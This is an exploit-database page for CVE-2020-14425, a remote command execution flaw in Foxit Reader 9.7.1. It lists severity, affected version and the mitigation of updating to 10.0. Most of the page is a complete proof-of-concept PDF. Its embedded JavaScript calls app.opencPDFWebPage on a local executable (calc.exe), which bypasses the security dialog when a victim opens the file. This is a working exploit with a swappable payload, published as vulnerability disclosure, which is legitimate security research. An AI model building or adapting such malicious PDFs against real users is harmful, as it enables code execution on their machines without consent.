Foxit Reader 9.7.1 - Remote Command Execution (Javascript API)

vendor:

Foxit Reader

by:

Nassim Asrir

7.8

CVSS

HIGH

Remote Command Execution

CWE

Product Name: Foxit Reader

Affected Version From: 9.7.2001

Affected Version To: 9.7.2001

Patch Exists: NO

Related CWE: CVE-2020-14425

CPE: a:foxitsoftware:foxit_reader:9.7.1

Metasploit: https://www.rapid7.com/db/vulnerabilities/foxit_reader-cve-2020-14425/

Other Scripts:

Platforms Tested: Windows

2020

Foxit Reader 9.7.1 – Remote Command Execution (Javascript API)

Foxit Reader before 10.0 allows Remote Command Execution via the unsafe app.opencPDFWebPage JavaScript API which allows an attacker to execute local files on the file system and bypass the security dialog.

Mitigation:

Update to Foxit Reader 10.0 or later version

Source

Exploit-DB raw data:

# Exploit Title: Foxit Reader 9.7.1 - Remote Command Execution (Javascript API)
# Exploit Author: Nassim Asrir
# Vendor Homepage: https://www.foxitsoftware.com/
# Description: Foxit Reader before 10.0 allows Remote Command Execution via the unsafe app.opencPDFWebPage JavaScript API which allows an attacker to execute local files on the file system and bypass the security dialog.
# CVE-2020-14425

The exploit process need the user-interaction (Opening the PDF) .

+ Process continuation

#POC

%PDF-1.4
%ÓôÌá
1 0 obj
<<
/CreationDate(D:20200821171007+02'00')
/Title(Hi, Can you see me ?)
/Creator(AnonymousUser)
>>
endobj
2 0 obj
<<
/Type/Catalog
/Pages 3 0 R
/Names
<<
/JavaScript 10 0 R
>>
>>
endobj
3 0 obj
<<
/Type/Pages
/Count 1
/Kids[4 0 R]
>>
endobj
4 0 obj
<<
/Type/Page
/MediaBox[0 0 595 842]
/Parent 3 0 R
/Contents 5 0 R
/Resources
<<
/ProcSet [/PDF/Text/ImageB/ImageC/ImageI]
/ExtGState
<<
/GS0 6 0 R
>>
/Font
<<
/F0 8 0 R
>>
>>
/Group
<<
/CS/DeviceRGB
/S/Transparency
/I false
/K false
>>
>>
endobj
5 0 obj
<<
/Length 94
/Filter/FlateDecode
>>
stream
xœŠ»@@EûùŠ[RØk	x•ÄüW"DDçëœâžÜœ›b°ý“{‡éTg†¼tS)dÛ‘±=dœþ+9Ÿ_ÄifÔÈŒ [ŽãB_5!d§ZhP>¯ ‰
endstream
endobj
6 0 obj
<<
/Type/ExtGState
/ca 1
>>
endobj
7 0 obj
<<
/Type/FontDescriptor
/Ascent 833
/CapHeight 592
/Descent -300
/Flags 32
/FontBBox[-192 -710 702 1221]
/ItalicAngle 0
/StemV 0
/XHeight 443
/FontName/CourierNew,Bold
>>
endobj
8 0 obj
<<
/Type/Font
/Subtype/TrueType
/BaseFont/CourierNew,Bold
/Encoding/WinAnsiEncoding
/FontDescriptor 7 0 R
/FirstChar 0
/LastChar 255
/Widths[600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600]
>>
endobj
9 0 obj
<<
/S/JavaScript
/JS(app.opencPDFWebPage\('C:\\\\Windows\\\\System32\\\\calc.exe'\) )
>>
endobj
10 0 obj
<<
/Names[(EmbeddedJS)9 0 R]
>>
endobj
xref
0 11
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0000000015 00000 n 
0000000170 00000 n 
0000000250 00000 n 
0000000305 00000 n 
0000000560 00000 n 
0000000724 00000 n 
0000000767 00000 n 
0000000953 00000 n 
0000002137 00000 n 
0000002235 00000 n 
trailer
<<
/ID[<7018DE6859F23E419162D213F5C4D583><7018DE6859F23E419162D213F5C4D583>]
/Info 1 0 R
/Root 2 0 R
/Size 11
>>
startxref
2283
%%EOF